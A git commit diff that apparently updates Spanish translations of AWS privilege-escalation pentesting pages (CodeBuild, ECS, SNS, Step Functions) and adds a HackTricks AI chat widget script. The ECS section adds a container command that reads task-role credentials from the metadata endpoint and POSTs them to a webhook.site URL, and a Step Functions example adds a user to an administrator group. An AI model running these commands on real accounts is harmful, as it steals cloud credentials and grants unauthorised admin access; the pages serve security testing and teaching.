Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-04-30 15:31:39 +00:00
parent 1164484bf3
commit 99b7b735fe
7 changed files with 919 additions and 513 deletions

View File

@@ -31,6 +31,7 @@ additional-js = [
"theme/tabs.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
]
no-section-label = true
preferred-dark-theme = "hacktricks-dark"

View File

@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Un atacante con los permisos **`iam:PassRole`, `codebuild:CreateProject` y `codebuild:StartBuild` o `codebuild:StartBuildBatch`** podría **escalar privilegios a cualquier rol IAM de codebuild** creando uno en ejecución.
Un atacante con los permisos **`iam:PassRole`, `codebuild:CreateProject`, y `codebuild:StartBuild` o `codebuild:StartBuildBatch`** podría **escalar privilegios a cualquier rol IAM de codebuild** creando uno en ejecución.
{{#tabs }}
{{#tab name="Example1" }}
@@ -214,7 +214,7 @@ JSON="{
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```

View File

@@ -13,6 +13,9 @@ Más **info sobre ECS** en:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Un atacante que abuse del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#tab name="Webhook" }}
Crea un webhook con un sitio como webhook.site
```bash
# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]
# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json
# Check the webhook for a response
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Privesc directo a un rol de ECS diferente.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
@@ -97,7 +140,7 @@ aws ecs run-task \
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin un rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **otros roles de contenedores ECS** que se ejecutan en el nodo.\
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si no tiene un rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **otros roles de contenedores ECS** que se ejecutan en el nodo.\
Incluso podrías **forzar a otras tareas a ejecutarse dentro de la instancia EC2** que comprometes para robar sus credenciales (como se discutió en la [**sección Privesc a nodo**](aws-ecs-privesc.md#privesc-to-node)).
> [!WARNING]

View File

@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
### `sns:AddPermission`
Un atacante podría otorgar acceso no autorizado a usuarios o servicios a un tema de SNS, potencialmente obteniendo más permisos.
Un atacante podría otorgar acceso a un tema de SNS a usuarios o servicios no autorizados, potencialmente obteniendo más permisos.
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```

View File

@@ -25,7 +25,7 @@ O también puedes ir a la documentación de la API de AWS y revisar la documenta
### `states:TestState` & `iam:PassRole`
Un atacante con los permisos **`states:TestState`** y **`iam:PassRole`** puede probar cualquier estado y pasar cualquier rol de IAM a él sin crear o actualizar una máquina de estados existente, lo que permite el acceso no autorizado a otros servicios de AWS con los permisos del rol. potencialmente. Combinados, estos permisos pueden llevar a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios.
Un atacante con los permisos **`states:TestState`** y **`iam:PassRole`** puede probar cualquier estado y pasar cualquier rol de IAM a él sin crear o actualizar una máquina de estados existente, lo que potencialmente permite el acceso no autorizado a otros servicios de AWS con los permisos del rol. Combinados, estos permisos pueden llevar a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
"status": "SUCCEEDED"
}
```
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a brechas de seguridad significativas.
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos de **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados.
Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma; también necesitarás tener los permisos de **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -132,9 +132,9 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
> El bucket S3 controlado por el atacante debería tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima.
> El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima.
**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
### `states:UpdateStateMachine` & (no siempre requerido) `iam:PassRole`
@@ -142,13 +142,13 @@ Un atacante con el permiso **`states:UpdateStateMachine`** podría modificar la
Dependiendo de cuán permisivo sea el Rol IAM asociado a la máquina de estados, un atacante se enfrentaría a 2 situaciones:
1. **Rol IAM Permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM, con la definición de la máquina de estados es suficiente.
1. **Rol IAM Permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar el Rol IAM, con la definición de la máquina de estados es suficiente.
2. **Rol IAM No Permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función Lambda HelloWorld, para agregar un estado adicional que añade al usuario **`unprivilegedUser`** al grupo IAM **`administrator`**. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados actualizada, este nuevo estado sigiloso malicioso se ejecutará y la escalada de privilegios será exitosa.
Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función Lambda HelloWorld, para agregar un estado adicional que añade al usuario **`unprivilegedUser`** al grupo IAM **`administrator`**. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados actualizada, este nuevo estado malicioso y sigiloso se ejecutará y la escalada de privilegios será exitosa.
> [!WARNING]
> Si la máquina de estados no tiene un rol IAM permisivo asociado, también se requeriría el permiso **`iam:PassRole`** para actualizar el rol IAM con el fin de asociar un rol IAM permisivo (por ejemplo, uno con la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta).
@@ -181,7 +181,7 @@ Los siguientes ejemplos muestran cómo actualizar una máquina de estados legít
```
{{#endtab }}
{{#tab name="Máquina de Estado Actualizada Maliciosa" }}
{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
**Impacto Potencial**: Ejecución y manipulación no autorizada de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
{{#include ../../../banners/hacktricks-training.md}}

332
theme/ai.js Normal file
View File

@@ -0,0 +1,332 @@
/**
* HackTricks AI Chat Widget v1.15 Markdown rendering + sanitised
* ------------------------------------------------------------------------
* • Replaces the static “…” placeholder with a three-dot **bouncing** loader
* • Renders assistant replies as Markdown while purging any unsafe HTML
* (XSS-safe via DOMPurify)
* ------------------------------------------------------------------------
*/
(function () {
const LOG = "[HackTricks-AI]";
/* ---------------- User-tunable constants ---------------- */
const MAX_CONTEXT = 3000; // highlighted-text char limit
const MAX_QUESTION = 500; // question char limit
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
const API_BASE = "https://www.hacktricks.ai/api/assistants/threads";
const BRAND_RED = "#b31328"; // HackTricks brand
/* ------------------------------ State ------------------------------ */
let threadId = null;
let isRunning = false;
const $ = (sel, ctx = document) => ctx.querySelector(sel);
if (document.getElementById("ht-ai-btn")) {
console.warn(`${LOG} Widget already injected.`);
return;
}
(document.readyState === "loading"
? document.addEventListener("DOMContentLoaded", init)
: init());
/* ==================================================================== */
/* 🔗 1. 3rd-party libs → Markdown & sanitiser */
/* ==================================================================== */
function loadScript(src) {
return new Promise((resolve, reject) => {
const s = document.createElement("script");
s.src = src;
s.onload = resolve;
s.onerror = () => reject(new Error(`Failed to load ${src}`));
document.head.appendChild(s);
});
}
async function ensureDeps() {
const deps = [];
if (typeof marked === "undefined") {
deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js"));
}
if (typeof DOMPurify === "undefined") {
deps.push(
loadScript(
"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js"
)
);
}
if (deps.length) await Promise.all(deps);
}
function mdToSafeHTML(md) {
// 1⃣ Markdown → raw HTML
const raw = marked.parse(md, { mangle: false, headerIds: false });
// 2⃣ Purify
return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } });
}
/* ==================================================================== */
async function init() {
/* ----- make sure marked & DOMPurify are ready before anything else */
try {
await ensureDeps();
} catch (e) {
console.error(`${LOG} Could not load dependencies`, e);
return;
}
console.log(`${LOG} Injecting widget… v1.15`);
await ensureThreadId();
injectStyles();
const btn = createFloatingButton();
createTooltip(btn);
const panel = createSidebar();
const chatLog = $("#ht-ai-chat");
const sendBtn = $("#ht-ai-send");
const inputBox = $("#ht-ai-question");
const resetBtn = $("#ht-ai-reset");
const closeBtn = $("#ht-ai-close");
/* ------------------- Selection snapshot ------------------- */
let savedSelection = "";
btn.addEventListener("pointerdown", () => {
savedSelection = window.getSelection().toString().trim();
});
/* ------------------- Helpers ------------------------------ */
function addMsg(text, cls) {
const b = document.createElement("div");
b.className = `ht-msg ${cls}`;
// ✨ assistant replies rendered as Markdown + sanitised
if (cls === "ht-ai") {
b.innerHTML = mdToSafeHTML(text);
} else {
// user / context bubbles stay plain-text
b.textContent = text;
}
chatLog.appendChild(b);
chatLog.scrollTop = chatLog.scrollHeight;
return b;
}
const LOADER_HTML =
'<span class="ht-loading"><span></span><span></span><span></span></span>';
function setInputDisabled(d) {
inputBox.disabled = d;
sendBtn.disabled = d;
}
function clearThreadCookie() {
document.cookie = "threadId=; Path=/; Max-Age=0";
threadId = null;
}
function resetConversation() {
chatLog.innerHTML = "";
clearThreadCookie();
panel.classList.remove("open");
}
/* ------------------- Panel open / close ------------------- */
btn.addEventListener("click", () => {
if (!savedSelection) {
alert("Please highlight some text first to then ask HackTricks AI about it.");
return;
}
if (savedSelection.length > MAX_CONTEXT) {
alert(
`Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.`
);
return;
}
chatLog.innerHTML = "";
addMsg(savedSelection, "ht-context");
panel.classList.add("open");
inputBox.focus();
});
closeBtn.addEventListener("click", resetConversation);
resetBtn.addEventListener("click", resetConversation);
/* --------------------------- Messaging --------------------------- */
async function sendMessage(question, context = null) {
if (!threadId) await ensureThreadId();
if (isRunning) {
addMsg("Please wait until the current operation completes.", "ht-ai");
return;
}
isRunning = true;
setInputDisabled(true);
const loadingBubble = addMsg("", "ht-ai");
loadingBubble.innerHTML = LOADER_HTML;
const content = context
? `### Context:\n${context}\n\n### Question to answer:\n${question}`
: question;
try {
const res = await fetch(`${API_BASE}/${threadId}/messages`, {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ content })
});
if (!res.ok) {
let err = `Unknown error: ${res.status}`;
try {
const e = await res.json();
if (e.error) err = `Error: ${e.error}`;
else if (res.status === 429)
err = "Rate limit exceeded. Please try again later.";
} catch (_) {}
loadingBubble.textContent = err;
return;
}
const data = await res.json();
loadingBubble.remove();
if (Array.isArray(data.response))
data.response.forEach((p) => {
addMsg(
p.type === "text" && p.text && p.text.value
? p.text.value
: JSON.stringify(p),
"ht-ai"
);
});
else if (typeof data.response === "string")
addMsg(data.response, "ht-ai");
else addMsg(JSON.stringify(data, null, 2), "ht-ai");
} catch (e) {
console.error("Error sending message:", e);
loadingBubble.textContent = "An unexpected error occurred.";
} finally {
isRunning = false;
setInputDisabled(false);
chatLog.scrollTop = chatLog.scrollHeight;
}
}
async function handleSend() {
const q = inputBox.value.trim();
if (!q) return;
if (q.length > MAX_QUESTION) {
alert(
`Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.`
);
return;
}
inputBox.value = "";
addMsg(q, "ht-user");
await sendMessage(q, savedSelection || null);
}
sendBtn.addEventListener("click", handleSend);
inputBox.addEventListener("keydown", (e) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
handleSend();
}
});
}
/* ==================================================================== */
async function ensureThreadId() {
const m = document.cookie.match(/threadId=([^;]+)/);
if (m && m[1]) {
threadId = m[1];
return;
}
try {
const r = await fetch(API_BASE, { method: "POST", credentials: "include" });
const d = await r.json();
if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`);
threadId = d.threadId;
document.cookie =
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
} catch (e) {
console.error("Error creating threadId:", e);
alert("Failed to initialise the conversation. Please refresh and try again.");
throw e;
}
}
/* ==================================================================== */
function injectStyles() {
const css = `
#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s}
#ht-ai-btn:hover{opacity:.85}
@media(max-width:768px){#ht-ai-btn{display:none}}
#ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000}
#ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)}
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
.ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word}
.ht-user{align-self:flex-end;background:${BRAND_RED}}
.ht-ai{align-self:flex-start;background:#222}
.ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px}
#ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333}
#ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px}
#ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer}
#ht-ai-send:disabled{opacity:.5;cursor:not-allowed}
/* Loader animation */
.ht-loading{display:inline-flex;align-items:center;gap:4px}
.ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out}
.ht-loading span:nth-child(2){animation-delay:0.2s}
.ht-loading span:nth-child(3){animation-delay:0.4s}
@keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} }
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
document.head.appendChild(s);
}
function createFloatingButton() {
const d = document.createElement("div");
d.id = "ht-ai-btn";
d.textContent = "🤖";
document.body.appendChild(d);
return d;
}
function createTooltip(btn) {
const t = document.createElement("div");
t.id = "ht-ai-tooltip";
t.textContent = TOOLTIP_TEXT;
document.body.appendChild(t);
btn.addEventListener("mouseenter", () => {
const r = btn.getBoundingClientRect();
t.style.left = `${r.left + r.width / 2}px`;
t.style.top = `${r.top}px`;
t.classList.add("show");
});
btn.addEventListener("mouseleave", () => t.classList.remove("show"));
}
function createSidebar() {
const p = document.createElement("div");
p.id = "ht-ai-panel";
p.innerHTML = `
<div id="ht-ai-header"><strong>HackTricks AI Chat</strong>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset">↺</button>
<span id="ht-ai-close" title="Close">✖</span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;
document.body.appendChild(p);
return p;
}
})();

File diff suppressed because it is too large Load Diff